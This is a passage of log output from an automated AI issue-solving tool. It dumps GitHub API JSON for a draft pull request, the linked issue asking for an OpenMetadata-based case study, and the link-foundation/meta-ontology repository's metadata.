0\n[2026-07-12T04:02:06.032Z] [INFO]    Total new comments: 0\n[2026-07-12T04:02:06.035Z] [INFO]    Comment lines to add: No (saving tokens)\n[2026-07-12T04:02:06.039Z] [INFO]    PR review comments fetched: 0\n[2026-07-12T04:02:06.042Z] [INFO]    PR conversation comments fetched: 0\n[2026-07-12T04:02:06.045Z] [INFO]    Total PR comments checked: 0\n[2026-07-12T04:02:06.826Z] [STDOUT] {\"url\":\"https://api.github.com/repos/link-foundation/meta-ontology/pulls/6\",\"id\":4037821050,\"node_id\":\"PR_kwDOSNlfVs7wrEJ6\",\"html_url\":\"https://github.com/link-foundation/meta-ontology/pull/6\",\"diff_url\":\"https://github.com/link-foundation/meta-ontology/pull/6.diff\",\"patch_url\":\"https://github.com/link-foundation/meta-ontology/pull/6.patch\",\"issue_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/issues/6\",\"number\":6,\"state\":\"open\",\"locked\":false,\"title\":\"[WIP] We should use best practices from https://github.com/open-metadata/OpenMetadata\",\"user\":{\"login\":\"konard\",\"id\":1431904,\"node_id\":\"MDQ6VXNlcjE0MzE5MDQ=\",\"avatar_url\":\"https://avatars.githubusercontent.com/u/1431904?v=4\",\"gravatar_id\":\"\",\"url\":\"https://api.github.com/users/konard\",\"html_url\":\"https://github.com/konard\",\"followers_url\":\"https://api.github.com/users/konard/followers\",\"following_url\":\"https://api.github.com/users/konard/following{/other_user}\",\"gists_url\":\"https://api.github.com/users/konard/gists{/gist_id}\",\"starred_url\":\"https://api.github.com/users/konard/starred{/owner}{/repo}\",\"subscriptions_url\":\"https://api.github.com/users/konard/subscriptions\",\"organizations_url\":\"https://api.github.com/users/konard/orgs\",\"repos_url\":\"https://api.github.com/users/konard/repos\",\"events_url\":\"https://api.github.com/users/konard/events{/privacy}\",\"received_events_url\":\"https://api.github.com/users/konard/received_events\",\"type\":\"User\",\"user_view_type\":\"public\",\"site_admin\":false},\"body\":\"## \ud83e\udd16 AI-Powered Solution Draft\\n\\nThis pull request is being automatically generated to solve issue #5.\\n\\n### \ud83d\udccb Issue Reference\\nFixes #5\\n\\n### \ud83d\udea7 Status\\n**Work in Progress** - The AI assistant is currently analyzing and implementing the solution draft.\\n\\n### \ud83d\udcdd Implementation Details\\n_Details will be added as the solution draft is developed..._\\n\\n---\\n*This PR was created automatically by the AI issue solver*\",\"created_at\":\"2026-07-12T04:01:56Z\",\"updated_at\":\"2026-07-12T04:01:58Z\",\"closed_at\":null,\"merged_at\":null,\"merge_commit_sha\":\"393fc812479a9155ccabf12eba2866ddd337f2c9\",\"assignees\":[{\"login\":\"konard\",\"id\":1431904,\"node_id\":\"MDQ6VXNlcjE0MzE5MDQ=\",\"avatar_url\":\"https://avatars.githubusercontent.com/u/1431904?v=4\",\"gravatar_id\":\"\",\"url\":\"https://api.github.com/users/konard\",\"html_url\":\"https://github.com/konard\",\"followers_url\":\"https://api.github.com/users/konard/followers\",\"following_url\":\"https://api.github.com/users/konard/following{/other_user}\",\"gists_url\":\"https://api.github.com/users/konard/gists{/gist_id}\",\"starred_url\":\"https://api.github.com/users/konard/starred{/owner}{/repo}\",\"subscriptions_url\":\"https://api.github.com/users/konard/subscriptions\",\"organizations_url\":\"https://api.github.com/users/konard/orgs\",\"repos_url\":\"https://api.github.com/users/konard/repos\",\"events_url\":\"https://api.github.com/users/konard/events{/privacy}\",\"received_events_url\":\"https://api.github.com/users/konard/received_events\",\"type\":\"User\",\"user_view_type\":\"public\",\"site_admin\":false}],\"requested_reviewers\":[],\"requested_teams\":[],\"labels\":[],\"milestone\":null,\"draft\":true,\"commits_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/pulls/6/commits\",\"review_comments_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/pulls/6/comments\",\"review_comment_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/pulls/comments{/number}\",\"comments_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/issues/6/comments\",\"statuses_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/statuses/e4a**********************************43d\",\"head\":{\"label\":\"link-foundation:issue-5-e2602184e2c5\",\"ref\":\"issue-5-e2602184e2c5\",\"sha\":\"e4a**********************************43d\",\"user\":{\"login\":\"link-foundation\",\"id\":176174013,\"node_id\":\"O_kgDOCoAzvQ\",\"avatar_url\":\"https://avatars.githubusercontent.com/u/176174013?v=4\",\"gravatar_id\":\"\",\"url\":\"https://api.github.com/users/link-foundation\",\"html_url\":\"https://github.com/link-foundation\",\"followers_url\":\"https://api.github.com/users/link-foundation/followers\",\"following_url\":\"https://api.github.com/users/link-foundation/following{/other_user}\",\"gists_url\":\"https://api.github.com/users/link-foundation/gists{/gist_id}\",\"starred_url\":\"https://api.github.com/users/link-foundation/starred{/owner}{/repo}\",\"subscriptions_url\":\"https://api.github.com/users/link-foundation/subscriptions\",\"organizations_url\":\"https://api.github.com/users/link-foundation/orgs\",\"repos_url\":\"https://api.github.com/users/link-foundation/repos\",\"events_url\":\"https://api.github.com/users/link-foundation/events{/privacy}\",\"received_events_url\":\"https://api.github.com/users/link-foundation/received_events\",\"type\":\"Organization\",\"user_view_type\":\"public\",\"site_admin\":false},\"repo\":{\"id\":1222205270,\"node_id\":\"R_kgDOSNlfVg\",\"name\":\"meta-ontology\",\"full_name\":\"link-foundation/meta-ontology\",\"private\":false,\"owner\":{\"login\":\"link-foundation\",\"id\":176174013,\"node_id\":\"O_kgDOCoAzvQ\",\"avatar_url\":\"https://avatars.githubusercontent.com/u/176174013?v=4\",\"gravatar_id\":\"\",\"url\":\"https://api.github.com/users/link-foundation\",\"html_url\":\"https://github.com/link-foundation\",\"followers_url\":\"https://api.github.com/users/link-foundation/followers\",\"following_url\":\"https://api.github.com/users/link-foundation/following{/other_user}\",\"gists_url\":\"https://api.github.com/users/link-foundation/gists{/gist_id}\",\"starred_url\":\"https://api.github.com/users/link-foundation/starred{/owner}{/repo}\",\"subscriptions_url\":\"https://api.github.com/users/link-foundation/subscriptions\",\"organizations_url\":\"https://api.github.com/users/link-foundation/orgs\",\"repos_url\":\"https://api.github.com/users/link-foundation/repos\",\"events_url\":\"https://api.github.com/users/link-foundation/events{/privacy}\",\"received_events_url\":\"https://api.github.com/users/link-foundation/received_events\",\"type\":\"Organization\",\"user_view_type\":\"public\",\"site_admin\":false},\"html_url\":\"https://github.com/link-foundation/meta-ontology\",\"description\":\"A ontology that can describe itself\",\"fork\":false,\"url\":\"https://api.github.com/repos/link-foundation/meta-ontology\",\"forks_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/forks\",\"keys_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/keys{/key_id}\",\"collaborators_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/collaborators{/collaborator}\",\"teams_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/teams\",\"hooks_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/hooks\",\"issue_events_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/issues/events{/number}\",\"events_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/events\",\"assignees_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/assignees{/user}\",\"branches_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/branches{/branch}\",\"tags_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/tags\",\"blobs_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/git/blobs{/sha}\",\"git_tags_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/git/tags{/sha}\",\"git_refs_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/git/refs{/sha}\",\"trees_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/git/trees{/sha}\",\"statuses_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/statuses/{sha}\",\"languages_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/languages\",\"stargazers_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/stargazers\",\"contributors_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/contributors\",\"subscribers_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/subscribers\",\"subscription_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/subscription\",\"commits_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/commits{/sha}\",\"git_commits_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/git/commits{/sha}\",\"comments_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/comments{/number}\",\"issue_comment_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/issues/comments{/number}\",\"contents_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/contents/{+path}\",\"compare_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/compare/{base}...{head}\",\"merges_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/merges\",\"archive_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/{archive_format}{/ref}\",\"downloads_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/downloads\",\"issues_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/issues{/number}\",\"pulls_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/pulls{/number}\",\"milestones_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/milestones{/number}\",\"notifications_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/notifications{?since,all,participating}\",\"labels_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/labels{/name}\",\"releases_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/releases{/id}\",\"deployments_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/deployments\",\"created_at\":\"2026-04-27T06:26:24Z\",\"updated_at\":\"2026-04-27T09:03:35Z\",\"pushed_at\":\"2026-07-12T04:01:48Z\",\"git_url\":\"git://github.com/link-foundation/meta-ontology.git\",\"ssh_url\":\"git@github.com:link-foundation/meta-ontology.git\",\"clone_url\":\"https://github.com/link-foundation/meta-ontology.git\",\"svn_url\":\"https://github.com/link-foundation/meta-ontology\",\"homepage\":\"https://link-foundation.github.io/meta-ontology/\",\"size\":2197,\"stargazers_count\":0,\"watchers_count\":0,\"language\":\"Rust\",\"has_issues\":true,\"has_projects\":true,\"has_downloads\":true,\"has_wiki\":true,\"has_pages\":true,\"has_discussions\":false,\"forks_count\":0,\"mirror_url\":null,\"archived\":false,\"disabled\":false,\"open_issues_count\":2,\"license\":{\"key\":\"unlicense\",\"name\":\"The Unlicense\",\"spdx_id\":\"Unlicense\",\"url\":\"https://api.github.com/licenses/unlicense\",\"node_id\":\"MDc6TGljZW5zZTE1\"},\"allow_forking\":true,\"is_template\":false,\"web_commit_signoff_required\":false,\"has_pull_requests\":true,\"pull_request_creation_policy\":\"all\",\"topics\":[],\"visibility\":\"public\",\"forks\":0,\"open_issues\":2,\"watchers\":0,\"default_branch\":\"main\"}},\"base\":{\"label\":\"link-foundation:main\",\"ref\":\"main\",\"sha\":\"04e**********************************70b\",\"user\":{\"login\":\"link-foundation\",\"id\":176174013,\"node_id\":\"O_kgDOCoAzvQ\",\"avatar_url\":\"https://avatars.githubusercontent.com/u/176174013?v=4\",\"gravatar_id\":\"\",\"url\":\"https://api.github.com/users/link-foundation\",\"html_url\":\"https://github.com/link-foundation\",\"followers_url\":\"https://api.github.com/users/link-foundation/followers\",\"following_url\":\"https://api.github.com/users/link-foundation/following{/other_user}\",\"gists_url\":\"https://api.github.com/users/link-foundation/gists{/gist_id}\",\"starred_url\":\"https://api.github.com/users/link-foundation/starred{/owner}{/repo}\",\"subscriptions_url\":\"https://api.github.com/users/link-foundation/subscriptions\",\"organizations_url\":\"https://api.github.com/users/link-foundation/orgs\",\"repos_url\":\"https://api.github.com/users/link-foundation/repos\",\"events_url\":\"https://api.github.com/users/link-foundation/events{/privacy}\",\"received_events_url\":\"https://api.github.com/users/link-foundation/received_events\",\"type\":\"Organization\",\"user_view_type\":\"public\",\"site_admin\":false},\"repo\":{\"id\":1222205270,\"node_id\":\"R_kgDOSNlfVg\",\"name\":\"meta-ontology\",\"full_name\":\"link-foundation/meta-ontology\",\"private\":false,\"owner\":{\"login\":\"link-foundation\",\"id\":176174013,\"node_id\":\"O_kgDOCoAzvQ\",\"avatar_url\":\"https://avatars.githubusercontent.com/u/176174013?v=4\",\"gravatar_id\":\"\",\"url\":\"https://api.github.com/users/link-foundation\",\"html_url\":\"https://github.com/link-foundation\",\"followers_url\":\"https://api.github.com/users/link-foundation/followers\",\"following_url\":\"https://api.github.com/users/link-foundation/following{/other_user}\",\"gists_url\":\"https://api.github.com/users/link-foundation/gists{/gist_id}\",\"starre\n[2026-07-12T04:02:06.836Z] [STDOUT] d_url\":\"https://api.github.com/users/link-foundation/starred{/owner}{/repo}\",\"subscriptions_url\":\"https://api.github.com/users/link-foundation/subscriptions\",\"organizations_url\":\"https://api.github.com/users/link-foundation/orgs\",\"repos_url\":\"https://api.github.com/users/link-foundation/repos\",\"events_url\":\"https://api.github.com/users/link-foundation/events{/privacy}\",\"received_events_url\":\"https://api.github.com/users/link-foundation/received_events\",\"type\":\"Organization\",\"user_view_type\":\"public\",\"site_admin\":false},\"html_url\":\"https://github.com/link-foundation/meta-ontology\",\"description\":\"A ontology that can describe itself\",\"fork\":false,\"url\":\"https://api.github.com/repos/link-foundation/meta-ontology\",\"forks_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/forks\",\"keys_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/keys{/key_id}\",\"collaborators_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/collaborators{/collaborator}\",\"teams_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/teams\",\"hooks_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/hooks\",\"issue_events_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/issues/events{/number}\",\"events_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/events\",\"assignees_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/assignees{/user}\",\"branches_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/branches{/branch}\",\"tags_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/tags\",\"blobs_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/git/blobs{/sha}\",\"git_tags_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/git/tags{/sha}\",\"git_refs_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/git/refs{/sha}\",\"trees_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/git/trees{/sha}\",\"statuses_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/statuses/{sha}\",\"languages_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/languages\",\"stargazers_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/stargazers\",\"contributors_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/contributors\",\"subscribers_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/subscribers\",\"subscription_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/subscription\",\"commits_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/commits{/sha}\",\"git_commits_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/git/commits{/sha}\",\"comments_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/comments{/number}\",\"issue_comment_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/issues/comments{/number}\",\"contents_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/contents/{+path}\",\"compare_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/compare/{base}...{head}\",\"merges_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/merges\",\"archive_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/{archive_format}{/ref}\",\"downloads_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/downloads\",\"issues_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/issues{/number}\",\"pulls_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/pulls{/number}\",\"milestones_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/milestones{/number}\",\"notifications_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/notifications{?since,all,participating}\",\"labels_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/labels{/name}\",\"releases_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/releases{/id}\",\"deployments_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/deployments\",\"created_at\":\"2026-04-27T06:26:24Z\",\"updated_at\":\"2026-04-27T09:03:35Z\",\"pushed_at\":\"2026-07-12T04:01:48Z\",\"git_url\":\"git://github.com/link-foundation/meta-ontology.git\",\"ssh_url\":\"git@github.com:link-foundation/meta-ontology.git\",\"clone_url\":\"https://github.com/link-foundation/meta-ontology.git\",\"svn_url\":\"https://github.com/link-foundation/meta-ontology\",\"homepage\":\"https://link-foundation.github.io/meta-ontology/\",\"size\":2197,\"stargazers_count\":0,\"watchers_count\":0,\"language\":\"Rust\",\"has_issues\":true,\"has_projects\":true,\"has_downloads\":true,\"has_wiki\":true,\"has_pages\":true,\"has_discussions\":false,\"forks_count\":0,\"mirror_url\":null,\"archived\":false,\"disabled\":false,\"open_issues_count\":2,\"license\":{\"key\":\"unlicense\",\"name\":\"The Unlicense\",\"spdx_id\":\"Unlicense\",\"url\":\"https://api.github.com/licenses/unlicense\",\"node_id\":\"MDc6TGljZW5zZTE1\"},\"allow_forking\":true,\"is_template\":false,\"web_commit_signoff_required\":false,\"has_pull_requests\":true,\"pull_request_creation_policy\":\"all\",\"topics\":[],\"visibility\":\"public\",\"forks\":0,\"open_issues\":2,\"watchers\":0,\"default_branch\":\"main\"}},\"_links\":{\"self\":{\"href\":\"https://api.github.com/repos/link-foundation/meta-ontology/pulls/6\"},\"html\":{\"href\":\"https://github.com/link-foundation/meta-ontology/pull/6\"},\"issue\":{\"href\":\"https://api.github.com/repos/link-foundation/meta-ontology/issues/6\"},\"comments\":{\"href\":\"https://api.github.com/repos/link-foundation/meta-ontology/issues/6/comments\"},\"review_comments\":{\"href\":\"https://api.github.com/repos/link-foundation/meta-ontology/pulls/6/comments\"},\"review_comment\":{\"href\":\"https://api.github.com/repos/link-foundation/meta-ontology/pulls/comments{/number}\"},\"commits\":{\"href\":\"https://api.github.com/repos/link-foundation/meta-ontology/pulls/6/commits\"},\"statuses\":{\"href\":\"https://api.github.com/repos/link-foundation/meta-ontology/statuses/e4a**********************************43d\"}},\"author_association\":\"MEMBER\",\"auto_merge\":null,\"assignee\":{\"login\":\"konard\",\"id\":1431904,\"node_id\":\"MDQ6VXNlcjE0MzE5MDQ=\",\"avatar_url\":\"https://avatars.githubusercontent.com/u/1431904?v=4\",\"gravatar_id\":\"\",\"url\":\"https://api.github.com/users/konard\",\"html_url\":\"https://github.com/konard\",\"followers_url\":\"https://api.github.com/users/konard/followers\",\"following_url\":\"https://api.github.com/users/konard/following{/other_user}\",\"gists_url\":\"https://api.github.com/users/konard/gists{/gist_id}\",\"starred_url\":\"https://api.github.com/users/konard/starred{/owner}{/repo}\",\"subscriptions_url\":\"https://api.github.com/users/konard/subscriptions\",\"organizations_url\":\"https://api.github.com/users/konard/orgs\",\"repos_url\":\"https://api.github.com/users/konard/repos\",\"events_url\":\"https://api.github.com/users/konard/events{/privacy}\",\"received_events_url\":\"https://api.github.com/users/konard/received_events\",\"type\":\"User\",\"user_view_type\":\"public\",\"site_admin\":false},\"active_lock_reason\":null,\"merged\":false,\"mergeable\":true,\"rebaseable\":true,\"mergeable_state\":\"unstable\",\"merged_by\":null,\"comments\":0,\"review_comments\":0,\"maintainer_can_modify\":false,\"commits\":1,\"additions\":1,\"deletions\":0,\"changed_files\":1}\n[2026-07-12T04:02:07.285Z] [STDOUT] {\"url\":\"https://api.github.com/repos/link-foundation/meta-ontology/issues/5\",\"repository_url\":\"https://api.github.com/repos/link-foundation/meta-ontology\",\"labels_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/issues/5/labels{/name}\",\"comments_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/issues/5/comments\",\"events_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/issues/5/events\",\"html_url\":\"https://github.com/link-foundation/meta-ontology/issues/5\",\"id\":4364050873,\"node_id\":\"I_kwDOSNlfVs8AAAABBB4huQ\",\"number\":5,\"title\":\"We should use best practices from https://github.com/open-metadata/OpenMetadata\",\"user\":{\"login\":\"konard\",\"id\":1431904,\"node_id\":\"MDQ6VXNlcjE0MzE5MDQ=\",\"avatar_url\":\"https://avatars.githubusercontent.com/u/1431904?v=4\",\"gravatar_id\":\"\",\"url\":\"https://api.github.com/users/konard\",\"html_url\":\"https://github.com/konard\",\"followers_url\":\"https://api.github.com/users/konard/followers\",\"following_url\":\"https://api.github.com/users/konard/following{/other_user}\",\"gists_url\":\"https://api.github.com/users/konard/gists{/gist_id}\",\"starred_url\":\"https://api.github.com/users/konard/starred{/owner}{/repo}\",\"subscriptions_url\":\"https://api.github.com/users/konard/subscriptions\",\"organizations_url\":\"https://api.github.com/users/konard/orgs\",\"repos_url\":\"https://api.github.com/users/konard/repos\",\"events_url\":\"https://api.github.com/users/konard/events{/privacy}\",\"received_events_url\":\"https://api.github.com/users/konard/received_events\",\"type\":\"User\",\"user_view_type\":\"public\",\"site_admin\":false},\"labels\":[{\"id\":10798794804,\"node_id\":\"LA_kwDOSNlfVs8AAAACg6iINA\",\"url\":\"https://api.github.com/repos/link-foundation/meta-ontology/labels/documentation\",\"name\":\"documentation\",\"color\":\"0075ca\",\"default\":true,\"description\":\"Improvements or additions to documentation\"},{\"id\":10798794831,\"node_id\":\"LA_kwDOSNlfVs8AAAACg6iITw\",\"url\":\"https://api.github.com/repos/link-foundation/meta-ontology/labels/enhancement\",\"name\":\"enhancement\",\"color\":\"a2eeef\",\"default\":true,\"description\":\"New feature or request\"}],\"state\":\"open\",\"locked\":false,\"assignees\":[],\"milestone\":null,\"comments\":0,\"created_at\":\"2026-05-01T10:59:10Z\",\"updated_at\":\"2026-07-11T23:56:06Z\",\"closed_at\":null,\"assignee\":null,\"author_association\":\"MEMBER\",\"issue_field_values\":[],\"type\":{\"id\":22969357,\"node_id\":\"IT_kwDOCoAzvc4BXnwN\",\"name\":\"Feature\",\"description\":\"A request, idea, or new functionality\",\"color\":\"blue\",\"created_at\":\"2024-07-20T19:06:39Z\",\"updated_at\":\"2024-10-08T23:47:30Z\",\"is_enabled\":true},\"active_lock_reason\":null,\"sub_issues_summary\":{\"total\":0,\"completed\":0,\"percent_completed\":0},\"issue_dependencies_summary\":{\"blocked_by\":0,\"total_blocked_by\":0,\"blocking\":0,\"total_blocking\":0},\"body\":\"We need to collect data related about the issue to this repository, make sure we compile that data to `./docs/case-studies/issue-{id}` folder, and use it to do deep case study analysis (also make sure to search online for additional facts and data), list of each and all requirements from the issue, and propose possible solutions and solution plans for each requirement (we should also check known existing components/libraries, that solve similar problem or can help in solutions).\\n\\nPlease plan and execute everything in this single pull request, you have unlimited time and context, as context auto-compacts and you can continue indefinitely, until it is each and every requirement fully addressed, and everything is totally done.\",\"closed_by\":null,\"reactions\":{\"url\":\"https://api.github.com/repos/link-foundation/meta-ontology/issues/5/reactions\",\"total_count\":0,\"+1\":0,\"-1\":0,\"laugh\":0,\"hooray\":0,\"confused\":0,\"heart\":0,\"rocket\":0,\"eyes\":0},\"timeline_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/issues/5/timeline\",\"performed_via_github_app\":null,\"state_reason\":null,\"pinned_comment\":null}\n[2026-07-12T04:02:07.929Z] [STDOUT] {\"id\":1222205270,\"node_id\":\"R_kgDOSNlfVg\",\"name\":\"meta-ontology\",\"full_name\":\"link-foundation/meta-ontology\",\"private\":false,\"owner\":{\"login\":\"link-foundation\",\"id\":176174013,\"node_id\":\"O_kgDOCoAzvQ\",\"avatar_url\":\"https://avatars.githubusercontent.com/u/176174013?v=4\",\"gravatar_id\":\"\",\"url\":\"https://api.github.com/users/link-foundation\",\"html_url\":\"https://github.com/link-foundation\",\"followers_url\":\"https://api.github.com/users/link-foundation/followers\",\"following_url\":\"https://api.github.com/users/link-foundation/following{/other_user}\",\"gists_url\":\"https://api.github.com/users/link-foundation/gists{/gist_id}\",\"starred_url\":\"https://api.github.com/users/link-foundation/starred{/owner}{/repo}\",\"subscriptions_url\":\"https://api.github.com/users/link-foundation/subscriptions\",\"organizations_url\":\"https://api.github.com/users/link-foundation/orgs\",\"repos_url\":\"https://api.github.com/users/link-foundation/repos\",\"events_url\":\"https://api.github.com/users/link-foundation/events{/privacy}\",\"received_events_url\":\"https://api.github.com/users/link-foundation/received_events\",\"type\":\"Organization\",\"user_view_type\":\"public\",\"site_admin\":false},\"html_url\":\"https://github.com/link-foundation/meta-ontology\",\"description\":\"A ontology that can describe itself\",\"fork\":false,\"url\":\"https://api.github.com/repos/link-foundation/meta-ontology\",\"forks_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/forks\",\"keys_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/keys{/key_id}\",\"collaborators_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/collaborators{/collaborator}\",\"teams_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/teams\",\"hooks_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/hooks\",\"issue_events_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/issues/events{/number}\",\"events_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/events\",\"assignees_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/assignees{/user}\",\"branches_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/branches{/branch}\",\"tags_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/tags\",\"blobs_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/git/blobs{/sha}\",\"git_tags_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/git/tags{/sha}\",\"git_refs_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/git/refs{/sha}\",\"trees_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/git/trees{/sha}\",\"statuses_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/statuses/{sha}\",\"languages_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/languages\",\"stargazers_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/stargazers\",\"contributors_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/contributors\",\"subscribers_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/subscribers\",\"subscription_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/subscription\",\"commits_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/commits{/sha}\",\"git_commits_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/git/commits{/sha}\",\"comments_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/comments{/number}\",\"issue_comment_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/issues/comments{/number}\",\"contents_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/contents/{+path}\",\"compare_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/compare/{base}...{head}\",\"merges_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/merges\",\"archive_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/{archive_format}{/ref}\",\"downloads_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/downloads\",\"issues_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/issues{/number}\",\"pulls_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/pulls{/number}\",\"milestones_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/milestones{/number}\",\"notifications_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/notifications{?since,all,participating}\",\"labels_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/labels{/name}\",\"releases_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/releases{/id}\",\"deployments_url\":\"https://api.github.com/repos/link-foundation/meta-ontology/deployments\",\"created_at\":\"2026-04-27T06:26:24Z\",\"updated_at\":\"2026-04-27T09:03:35Z\",\"pushed_at\":\"2026-07-12T04:01:48Z\",\"git_url\":\"git://github.com/link-foundation/meta-ontology.git\",\"ssh_url\":\"git@github.com:link-foundation/meta-ontology.git\",\"clone_url\":\"https://github.com/link-foundation/meta-ontology.git\",\"svn_url\":\"https://github.com/link-foundation/meta-ontology\",\"homepage\":\"https://link-foundation.github.io/meta-ontology/\",\"size\":2197,\"stargazers_count\":0,\"watchers_count\":0,\"language\":\"Rust\",\"has_issues\":true,\"has_projects\":true,\"has_downloads\":true,\"has_wiki\":true,\"has_pages\":true,\"has_discussions\":false,\"forks_count\":0,\"mirror_url\":null,\"archived\":false,\"disabled\":false,\"open_issues_count\":2,\"license\":{\"key\":\"unlicense\",\"name\":\"The Unlicense\",\"spdx_id\":\"Unlicense\",\"url\":\"https://api.github.com/licenses/unlicense\",\"node_id\":\"MDc6TGljZW5zZTE1\"},\"allow_forking\":true,\"is_template\":false,\"web_commit_signoff_required\":false,\"has_pull_requests\":true,\"pull_request_creation_policy\":\"all\",\"topics\":[],\"visibility\":\"public\",\"forks\":0,\"open_issues\":2,\"watchers\":0,\"default_branch\":\"main\",\"permissions\":{\"admin\":true,\"maintain\":true,\"push\":true,\"triage\":true,\"pull\":true},\"temp_clone_token\":\"\",\"allow_squash_merge\":true,\"allow_merge_commit\":true,\"allow_rebase_merge\":true,\"allow_auto_merge\":false,\"delete_branch_on_merge\":false,\"allow_update_branch\":false,\"use_squash_pr_title_as_default\":false,\"squash_merge_commit_message\":\"COMMIT_MESSAGES\",\"squash_merge_commit_title\":\"COMMIT_OR_PR_TITLE\",\"merge_commit_message\":\"PR_TITLE\",\"merge_commit_title\":\"MERGE_MESSAGE\",\"template_repository\":{\"id\":1123288454,\"node_id\":\"R_kgDOQvQFhg\",\"name\":\"rust-ai-driven-development-pipelin